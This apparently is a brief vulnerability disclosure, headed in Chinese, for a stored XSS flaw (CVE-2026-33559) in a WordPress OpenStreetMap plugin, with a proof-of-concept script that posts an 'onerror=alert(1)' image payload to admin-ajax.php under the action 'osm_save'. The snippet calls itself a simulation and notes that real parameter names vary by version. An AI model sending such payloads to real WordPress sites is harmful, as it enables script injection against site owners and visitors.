CVE-2026-33559 WordPress OpenStreetMap插件存储型XSS漏洞

<!-- PoC for Stored XSS in WordPress OpenStreetMap Plugin --> <!-- Attack: Inject script via vulnerable parameter in map settings --> <script> // Malicious payload to be injected var payload = '<img src=x onerror=alert(1)>'; // Simulation of sending the payload via HTTP request fetch('/wp-admin/admin-ajax.php', { method: 'POST', body: JSON.stringify({ action: 'osm_save', content: payload }) }); </script> <!-- Note: Actual exploitation requires specific parameter names based on the plugin version -->